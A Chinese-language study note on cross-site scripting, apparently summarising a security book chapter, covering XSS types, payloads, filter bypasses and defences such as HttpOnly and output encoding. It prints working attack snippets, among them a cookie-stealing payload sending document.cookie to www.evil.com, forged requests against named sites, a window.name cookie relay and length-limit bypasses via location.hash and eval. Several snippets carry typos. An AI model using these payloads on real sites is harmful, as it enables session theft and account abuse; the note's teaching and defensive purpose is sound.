跨站脚本攻击(XSS)

OWASP TOP 10 威胁曾多次把 XSS 列在榜首。

XSS 简介

跨站脚本攻击:

  • Cross Site Script (XSS)。通常指黑客通过 HTML 注入的方式篡改了网页、插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。

XSS 根据效果不同可以分为如下几类:

  1. 反射型 XSS,或称 “非持久型 XSS”(Non-persistent XSS)。只是简单地把用户的输入 “反射” 给浏览器。
  2. 存储型 XSS,或称 “持久型 XSS”(Persistent XSS)。会把用户输入的数据 “存储” 在服务端,这种 XSS 具有很强的稳定性。
  3. DOM Based XSS。这种 XSS 从效果上来看也属于反射型 XSS。与后者的区别是通过更改 DOM 树的方式而非执行 JavaScript 代码的方式进行攻击。

XSS Payload

最常见的 XSS Payload 就是读取浏览器的 cookie 对象:

1
2
3
var img = document.createElement("img");
img.src = "http://www.evil.com/log?"+escape(document.cookie)
document.body.appendChild(img)

这段代码会在页面中插入一张看不见的图片,同时把 document.cookie 对象作为参数发送到远程的服务器。事实上,/log 路径不一定要存在,因为这个请求会在远程服务器的 WEB 日志中留下记录。这样就做完了一个最简单的窃取 cookie 的 XSS payload。

CookieHttpOnly 标识可以防止 “Cookie 劫持”,有的网站则会把 Cookie 与客户端的 IP 绑定。

构造 GET 请求

比如搜狐上有一篇文章,它删除文章的链接是这样的:

1
http://blog.sohu.com/message/entry.do?m=delete&id=1000

对于攻击者来说,则只需要构造夏敏的一个 payload 就可以发起一个删除文章的 GET 请求:

1
2
3
var img = document.createElement("img");
img.src = "http://blog.sohu.com/message/entry.do?m=delete&id=1000"
document.body.appendChild(img)

构造 POST 请求

比如豆瓣上有一处的表单提交是这样两个字段 ckmb_text,我们尝试模拟这个过程。要模拟 POST 请求的过程有两种方式。

第一种方式是构造一个 form 表单,然后自动提交这个表单。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
var f = document.createElement("form");
Object.assign(f, {"action": "", "method": "post"});
document.body.appendChild(f);

var i1 = document.createElement("input");
Object.assign(i1, {"name": "ck", "value": "JiUY"});
f.appendChild(i1);

var i2 = document.createElement("input");
Object.assign(i2, {"name": "mb_text", "value": "testtesttest"});
f.appendChild(i2);

f.submit();
// 如果表单的参数很多的话可以通过直接构造 DOM 节点的方式

第二种方法是,通过 XMLHttpRequest 发送一个 POST 请求:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
var url = "http://www.douban.com";
var postStr = "ck=JiUY&mb_text=testtesttest";

var ajax = null
if (windows.XMLHttpRequest) {
    ajax = new XMLHttpRequest();
} else if (windows.ActiveXObject) {
    ajax = new ActiveXObject("Microsoft.XMLHTTP");
} else {
    console.log("You broswer doesn't support XMLHttpRequest.");
    return;
}

ajax.open("POST", url, true);
ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajax.send(postStr);

ajax.onreadystatechange = function(){
    if(ajax.readyState == 4 && ajax.status == 200) alert("Done!");
}

识别用户浏览器

最直接的方式是通过 XSS 读取浏览器的 UserAgent 对象:

1
alert(natigator.userAgent);

但是浏览器有许多扩展可以更改这个值,或者可以自定义浏览器发送的 UserAgent,所以通过 JavaScript 取出来的这个浏览器对象,信息不一定准确。

但对于攻击者来说,还有另一种技巧,可以准确地识别用户的浏览器版本。由于浏览器置键的实现存在差异,不同的浏览器会各自实现一些独特的功能,所以通过分辨写这些浏览器之间的差异,就能准确地判断出浏览器版本,而几乎不会误报。

识别用户安装的软件

在 IE 浏览器中,可以通过判断 ActiveX 控件的 classid 是否存在,来推测用户是否安装了软件:

1
2
3
4
5
try {
    var Obj = new ActivetXObject("XunLeiBHO.ThunderIDHelper");
} catch (e) {
    alert("用户未安装迅雷");
}

浏览器的扩展和插件也能被扫描出来。比如 FireFox 的插件列表存放在一个 DOM 对象中,通过查询 DOM 可以遍历出所有的插件。这个 DOM 对象可以通过 navigator.plugins 访问,因此通过这个方式就可以找到所有的插件。

在 FireFox 中有一个特殊的协议 chrome://,FireFox 的扩展图标可以通过这个协议被访问到。比如 Flash Got 扩展的图标可以这样访问:chrome://flashgot/skin/icon32.png。因此扫描 FireFox 扩展时,只需要在 JavaScript 中加载这张图片检测扩展:

1
2
3
4
5
var m = new Image();
m.onload = function(){ alert("Image Exists."); };
m.onerror = function(){ alert("Image not Exists."); };

m.src = "chrome://flashgot/skin/icon32.png";

CSS History Hack

这个 XSS Payload 可以通过 CSS,来发现一个用户曾经访问过的网站。

这个技巧最早被 Jeremiah Grossman 发现,其原理是利用 style 的 visited 属性(如果用户访问过某个链接,则这个链接颜色会不同)。

但是这个漏洞在 2010 年已经被 Mozilla 浏览器修复。

获取用户的真实 IP

JavaScript 本身并没有提供获取本地 IP 地址的能力。一般来说,XSS 攻击需要借助第三方软件来完成。比如如果客户端安装了 Java 环境(JRE),那么 XSS 就可以通过调用 Java Applet 的接口获取客户端的本地 IP 地址。

利用 CSS 构造

在 2005 年,年仅 19 随的 Samy Kamkar 对 MySpace.com 发起的 XSS 攻击。就利用了这个方法进行构造。

MySpace 过滤了许多危险的 HTML 标签,只保留了 <a>, <img>, <div> 等安全的标签,所有的事件比如 onclick 等也被过滤了。允许用户控制标签的 style 属性,我们通过 style,还是有办法构造出 XSS 的。比如以下的这些方式:

  1. 利用 import 形成 GET 请求:

    1
    
    <style>@import 'http://hackers.org/xss.css';</style>
    
  2. 通过 moz-binding 嵌入 xml 文件(这一特性已被标准删除):

    1
    
    <style>body{-moz-binding: url("http://hackers.org/xssmoz.xml#xss")}</style>
    
  3. 通过请求背景图片或一些资源,通过伪协议执行 javascript 代码:

    1
    
    <div style="background:url{'javascript:alert(1)'}" />
    
  4. 通过表达式构造 XSS:

    1
    
    <div style="width: expression(alert('xss'))" />
    
  5. 通过 behavior 关键字执行 javascript 代码:

    1
    
    <div style="behavior: url(xss.htc)" />
    

攻击框架

原书中介绍了 Attack APIBeEF、XSS Proxy 这样三个攻击平台。

XSS Worm

蠕虫:

  • 以往的蠕虫是利用服务端软件漏洞进行传播的。比如 2003 年的冲击波蠕虫,利用的是 Windows 的RPC 远程溢出漏洞。

XSS Worm 是 XSS 的一种终极利用方式,它的破坏力与影响力是巨大的。但是发起 XSS Worm 攻击也有一定的条件。一般来说,用户之间发生交互行为的页面,如果存在存储型 XSS,则比较容易发起 XSS Worm 攻击。

原书中介绍了 Samy Worm 与百度空间蠕虫两个蠕虫。因为年代久远,参考价值不大。

XSS 的绕过

利用字符编码

就是 GBK/GBK2312 宽字符集漏洞。在这个字符集中 %c1 这个字符与 \ 反斜杠构成一个完整的 Unicode 字符。比如使用以下的 payload:

1
%c1";alert(XSS);//

其中 " 会被逃逸(即在符号前面插入 \ 这个字符),但是因为前面的介绍,在宽字符集中,这个反斜杠会被我们的 %c1 吃掉形成一个 Unicode 字符,从而使 ; 逃逸出来。

绕过长度限制

比如 url 为 http://www.a.com/index.html 中的 html 存在通过下面的方式渲染:

1
<input type=text value="$var" />

如果服务端对字符串的长度做了限制,那么攻击者直接构造 <script> 标签则可能会导致过长:

  1. 第一种办法是将 JavaScript 代码绑定到一个事件中去,比如:

    1
    
    $var 赋值为 "onclick=alert(1)//
    
  2. 但是利用 事件 能够缩短的字节数是有限的。最好的办法是将 XSS Payload 写到别处。

    最常用的一个“隐藏代码”的地方就是 location.hash。而且根据 HTTP 协议,这个内容不会再网络请求中发送,所以 WEB 服务器也不会记录我们隐藏的内容。

    因为 location.hash 的第一个字符是 #,所以必须去除第一个字符才行,所以可以构造:

    1
    
    $var 赋值为 "onclick="eval(location.hash.substr(1))
    

    同时构造一个 HTML url 为:

    1
    
    http://www.a.com/index.html#alert(1)
    
  3. 再某些环境下,可以利用注释符绕过长度限制。

    比如我们能控制两个文本框,第二个文本框允许写入更多的字节。此时可以利用 HTML 的注释符号,把两个文本框之间的代码全部注释掉,从而 “打通” 两个 <input> 标签。

<base> 标签

这个标签的作用是定义页面上使用 “相对路径” 标签的 hosting 地址。比如:

1
2
3
4
<body>
    <base href="http://www.google.com/" />
    <img src="/int1/en_ALL/images/srpr/logolw.png" />
</body>

上面这段代码将会使得 <img> 标签中的图片从 http://www.google.com/int1/en_ALL/images/srpr/logolw.png 取得。

可见 <base> 标签是个极其危险的标签。所以在设计 XSS 安全方案时,一定要过滤掉这个非常危险的标签。

window.name 的使用

window.name 对象是一个神奇的东西。如果对当前窗口的 window.name 对象赋值,没有特殊字符的限制。因为 window 对象是浏览器的窗体,而非 document 对象,很多时候不受同源策略的限制。攻击者利用这个对象,可以实现跨页面传递数据。

比如 www.a.com/index.html 的代码如下:

1
2
3
4
5
6
<body>
    <script>
        window.name = document.cookie;
        window.location = "http://www.b.com/index.html";
    </script>
</body>

这段代码将把在域 www.a.com 中的 cookie 携带到 www.b.com 这个域中。在后者中可以访问这个内容:

1
2
3
4
5
<body>
    <script>
        console.log(window.name);
    </script>
</body>

使用 window.name 可以缩短 XSS Payload 的长度,在目标站点只需要执行以下代码即可:

1
eval(name);

这个只有 11 个字符。

这个技巧为安全研究者 luoluo 发现,另外它还整理了许多 XSS 长度绕过技巧(见 《突破 XSS 字符数量限制执行任意 JS 代码》)。

利用反射型 XSS

Apache Expect Header XSS

这个漏洞最早公布于 2006 年。

这是 Apache 的漏洞,影响范围相当广。但是这个利用这个漏洞,需要提交请求时向 HTTP 头中注入恶意数据,才能触发这个漏洞。但对于 XSS 攻击来说,JavaScript 时无法控制 HTTP 请求头的。所以这个漏洞曾经一度被认为是 “鸡肋” 漏洞。

后来安全研究者 “Amit Klein” 提出了 “使用 Flash 构造请求” 的方法,成功利用了这个漏洞。

Anehta 的回旋镖

反射型 XSS 也有可能像存储型 XSS 一样利用,将要利用的反射型 XSS 嵌入一个存储型 XSS 中。这个攻击技巧,曾经在 Anehta(道哥写过的一个攻击平台)中使用过。

回旋镖的思路是:

  • 如果在 B 域上存在一个反射型的 “XSS_B”,在 A 域上存在一个存储型 ”XSS_A“;
  • 当用户访问 A 域上的 ”XSS_A“ 时,同时嵌入 B 域上的 ”XSS_B“,则可以达到在 A 域上的 XSS 攻击 B 域用户的目的。

XSS 的防御

流行的浏览器都内置了一些对抗 XSS 的措施,比如 FireFoxCSPNoscript 扩展、IE 8 内置的 XSS Filter 等。

在本章中,主要把精力放在如何为网站设计安全的 XSS 解决方案上。

HttpOnly

最早由微软提出,并且在 IE 6 中实现,至今已经逐渐成为一个标准。浏览器将禁止页面的 JavaScript 访问带有 HttpOnly 属性的 Cookie

HttpOnly 的出现并非为了对抗 XSS,它解决的是 XSS 后的 Cookie 劫持攻击。

一个 Cookie 的使用流程如下:

  1. 浏览器向服务器发起请求,这时没有 Cookie;

  2. 服务器返回时发送 Set-Cookie 头,向客户端浏览器写入 Cookie;

    1
    
    Set-Cookie: <name>=<value>[; <Max-Age>=<age>][; expire=<date>][; domain=<domain_name>][; path=<some_path>][; secure][; HttpOnly]
    
  3. 在该 Cookie 到期前,浏览器访问域下的所有页面,都将发送该 Cookie;

需要注意的是,服务器可能会设置多个 Cookie,而 HttpOnly 可以有选择性地加在任何一个 Cookie 上。

输入检查

在 XSS 防御上,输入检查一般是检查用户输入的数据是否包含一些特殊字符,比如 <>'" 等。如果发现存在特殊字符,则将这些字符过滤或者编码。

这种输入检查方式被称为 ”XSS Filter“。互联网上有很多开源的 ”XSS Filter“ 的实现。

XSS Filter 在用户提交数据时获取变量,并进行 XSS 检查,但此时数据并没有结合渲染页面的 HTML 代码,因此 XSS Filter 对语境的理解并不完整。可能会改变用户的数据的语义。

输出检查

一般来说,富文本(Rich Text Format, RTF)的输出外,在变量输出到 HTML 页面时,可以使用编码或转义的方式来防御 XSS 攻击。

编码分为很多种,针对 HTML 代码的编码方式时 HtmlEncode:这并非一个专用名词,它只是一种函数实现,它对应的标准时 ISO-8859-1

为了对抗 XSS,在编码中至少要求以下的字符被转换:

&<>"'/
&amp;&lt;&gt;&quot;&#x27;&#x2F;

在 OWASP ESAPI 中有一个安全的 JavaScriptEncode 的实现,非常严格。使用举例:

1
2
String safe = ESAPI.encoder().encodeForHTMLAttribute( request.getParameter("input") );
// 除了字母,数字外的所有特殊字符都被编码成 HTMLEntities.

对于不同的输出类型,下面列举了多个防御 XSS 的总结。下面用 $var 表示用户数据,它将被填入 HTML 代码中。可能存在以下的场景:

  1. 在 HTML 标签中输出:

    1
    
    <a href=#>$var</a>
    

    在这种场景下,XSS 的利用方式一般是构造一个 <script> 标签。防御方法是是对变量使用 HtmlEncode

  2. 在 HTML 属性中输出:

    1
    
    <div id="abc" name="$var"></div>
    

    防御方式也是 HtmlEncode。因为这种方式变量是用户不可见的,因此可以采用 OWASP ESAPI 中的严格编码方式,将所有特殊字符都进行编码。

  3. <script> 标签中输出,应当首先保证输出的变量在引号中:

    1
    2
    3
    
    <script>
    	var x = "$var";
    </script>
    

    因此攻击者需要闭合引号才能实施攻击,防御时使用 JavascriptEncode

  4. 在事件中输出:

    1
    
    <a href=# onclick="funcA('$var')">test</a>
    

    这个输出域在 <script> 标签中的输出类似。在防御时使用 JavascriptEncode

  5. css 中输出,攻击方式见 利用 CSS 构造

    可见利用 css 的攻击可谓是相当丰富。因此我们应当尽可能禁止用户可控制的变量在 <style> 标签、html 标签的 style 属性、以及 css 文件中输出。如果一定有这样的需求,建议使用 OWASP ESAPI 中的函数 encodeForCSS()

    1
    
    String safe = ESAPI.encoder().encodeForCSS( request.getParameter("input") );
    

    它会把除了字母、数字外的所有字符都编码成十六进制的形式 \uHH

  6. 在地址中输出:

    1
    
    <a href="http://hacker.org/?test=$var">test</a>s
    

    一般来说使用函数 URLEncode 即可,它会将字符转化为 %HH 的形式。

    但是还有一种情况,就是整个 URL 都能够被用户控制,这时 URL 的 Protocal 部门与 Host 部分是不能够使用 URLEncode 的,否则会改变 URL 的含义。

    攻击者可能会通过构造 javascriptvbscriptdataURI 等伪协议导致脚本攻击:

    1
    
    <a href="javascript:alert(1)"></a>
    

    dataURI 伪协议是 Mozilla 浏览器支持的,能够写一段代码在 URL 中:

    1
    
    <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">